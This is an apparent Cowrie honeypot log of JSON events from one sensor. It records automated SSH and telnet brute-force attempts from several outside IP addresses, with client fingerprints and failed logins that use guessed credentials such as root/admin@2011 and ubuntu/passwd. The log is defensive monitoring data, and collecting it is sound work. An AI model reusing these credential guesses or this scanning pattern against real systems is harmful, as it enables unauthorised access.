{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:84:3b:c3:51:5d:7c:a0:4b:00:a5:2a:71:f7:8c:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDD3Da0RoDOgsawe+m6uHeyl16m0hMJw/4J5a7oNx7wVZo5hQHaNhVFsUpAWJixyDIeKYRfE9I16yCjPt3CPxWoWBewOSEpGPzG5eEWcZzR8ojEjXKGEK7gdOiWym/kEgit6NlPnuKM6H2TmAgrBA0JQMSXHnMHhX2R+CfUopuWQFqVgSsEkTLnvSRjDAdveU33pEaArtIrKigVHDD1CfxOUj+3KgE4eQqMNmY2pljwjvVDeVfXzT86tb4v6AslDw0FXpfhdLl9VzJ8rh0QBkBfEUQlALxUE2hRClQumesBSS0yfmobREmtNvcHi4J6L0yE9wS/dgh9AXcgIgybAwWrb6tI8MM/fpYkao0kPTdia2EKulEA4+16ko7MbD+CbonzmhR+jZLnaTBK/mWcDXjOIO1IyTmCse3f/p8I/KN1J614xHulmmiMZVredBp4r0cUNW8on68PkXGlf5cP0ufF1kmZ+2sxZXy1wCpHxVXNJ+57chTZug4fG9q0oHo6U6Z9mgdaoERZ34cd6GYzvKbVP5DEuecO/HuUrTuuwtBqaVxReNHKCWFt+GaEWik0eqmDfzcfO4v6hfngU1z13p27KEmwiUoWO9cGCM+uTME2n7wSKOjgP/6vIbYnI3kFTqefnHXNrpkKCkNzHxlOwuawb6gTLnhvDL/qKzdS9MJgEw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:57.227804Z","src_ip":"154.16.180.198","session":"9dc564e0b9fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:57.312258Z","src_ip":"154.16.180.198","session":"9dc564e0b9fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":43366,"dst_ip":"159.203.135.109","dst_port":23,"session":"4691a73902bd","protocol":"telnet","message":"New connection: 135.148.33.91:43366 (159.203.135.109:23) [session: 4691a73902bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:37:09.779135Z"}
{"eventid":"cowrie.session.closed","duration":"40.8","message":"Connection lost after 40.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:37:24.089778Z","src_ip":"14.103.117.141","session":"9df158ca7fda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.178.77.45","src_port":46074,"dst_ip":"10.17.0.5","dst_port":23,"session":"22c189489314","protocol":"telnet","message":"New connection: 181.178.77.45:46074 (10.17.0.5:23) [session: 22c189489314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:37:26.704674Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":52250,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8f5002051f9","protocol":"ssh","message":"New connection: 165.154.205.91:52250 (159.203.135.109:22) [session: d8f5002051f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:37:35.753040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:37:35.758271Z","src_ip":"165.154.205.91","session":"d8f5002051f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:37:35.988689Z","src_ip":"165.154.205.91","session":"d8f5002051f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345678","message":"login attempt [user1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:37:36.942096Z","src_ip":"165.154.205.91","session":"d8f5002051f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:37:38.175060Z","src_ip":"165.154.205.91","session":"d8f5002051f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.870479822158813,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:37:40.575053Z","src_ip":"181.178.77.45","session":"22c189489314","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.89907121658325,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:37:48.678077Z","src_ip":"135.148.33.91","session":"4691a73902bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:38:16.864003Z","src_ip":"14.103.117.141","session":"e24358b8fa9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":54482,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9d611eb9c16","protocol":"telnet","message":"New connection: 135.148.33.91:54482 (159.203.135.109:23) [session: c9d611eb9c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:38:17.501610Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":40682,"dst_ip":"159.203.135.109","dst_port":22,"session":"d694c6dbe74f","protocol":"ssh","message":"New connection: 165.154.205.91:40682 (159.203.135.109:22) [session: d694c6dbe74f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:38:36.792193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:38:36.798167Z","src_ip":"165.154.205.91","session":"d694c6dbe74f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":60382,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad862fb0e3d0","protocol":"ssh","message":"New connection: 187.212.47.18:60382 (10.17.0.5:22) [session: ad862fb0e3d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:38:36.867088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:38:36.872402Z","src_ip":"187.212.47.18","session":"ad862fb0e3d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:38:37.031887Z","src_ip":"165.154.205.91","session":"d694c6dbe74f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:38:37.107513Z","src_ip":"187.212.47.18","session":"ad862fb0e3d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123456789","message":"login attempt [root/test123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:38:37.446429Z","src_ip":"187.212.47.18","session":"ad862fb0e3d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"passwd","message":"login attempt [ubuntu/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:38:37.992161Z","src_ip":"165.154.205.91","session":"d694c6dbe74f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:38:38.525524Z","src_ip":"187.212.47.18","session":"ad862fb0e3d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:38:39.228114Z","src_ip":"165.154.205.91","session":"d694c6dbe74f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":26601,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ba205908434","protocol":"ssh","message":"New connection: 185.9.193.111:26601 (159.203.135.109:22) [session: 4ba205908434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:38:40.708096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:38:40.712822Z","src_ip":"185.9.193.111","session":"4ba205908434","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:38:40.916808Z","src_ip":"185.9.193.111","session":"4ba205908434","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qa2ws3ed","message":"login attempt [ubuntu/1qa2ws3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:38:41.813645Z","src_ip":"185.9.193.111","session":"4ba205908434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:38:43.036660Z","src_ip":"185.9.193.111","session":"4ba205908434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.071584939956665,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:38:53.573065Z","src_ip":"135.148.33.91","session":"c9d611eb9c16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":57354,"dst_ip":"159.203.135.109","dst_port":22,"session":"2423da3dfb08","protocol":"ssh","message":"New connection: 165.154.205.91:57354 (159.203.135.109:22) [session: 2423da3dfb08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:39:35.901415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:39:35.907839Z","src_ip":"165.154.205.91","session":"2423da3dfb08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:39:36.139037Z","src_ip":"165.154.205.91","session":"2423da3dfb08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@2011","message":"login attempt [root/admin@2011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:39:37.091805Z","src_ip":"165.154.205.91","session":"2423da3dfb08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:39:38.327102Z","src_ip":"165.154.205.91","session":"2423da3dfb08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":45802,"dst_ip":"159.203.135.109","dst_port":22,"session":"31bcce2a6b7c","protocol":"ssh","message":"New connection: 165.154.205.91:45802 (159.203.135.109:22) [session: 31bcce2a6b7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:40:35.790692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:40:35.795906Z","src_ip":"165.154.205.91","session":"31bcce2a6b7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:40:36.022768Z","src_ip":"165.154.205.91","session":"31bcce2a6b7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Test@123","message":"login attempt [test/Test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:40:36.959065Z","src_ip":"165.154.205.91","session":"31bcce2a6b7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:40:38.190209Z","src_ip":"165.154.205.91","session":"31bcce2a6b7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":34236,"dst_ip":"159.203.135.109","dst_port":22,"session":"b93c06cb5920","protocol":"ssh","message":"New connection: 165.154.205.91:34236 (159.203.135.109:22) [session: b93c06cb5920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:41:34.454674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:41:34.459048Z","src_ip":"165.154.205.91","session":"b93c06cb5920","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:41:34.686625Z","src_ip":"165.154.205.91","session":"b93c06cb5920","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.117.141","src_port":49948,"dst_ip":"10.17.0.5","dst_port":22,"session":"9da189fb0e11","protocol":"ssh","message":"New connection: 14.103.117.141:49948 (10.17.0.5:22) [session: 9da189fb0e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:41:34.915159Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123!","message":"login attempt [ubuntu/123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:41:35.626807Z","src_ip":"165.154.205.91","session":"b93c06cb5920","protocol":"ssh"}
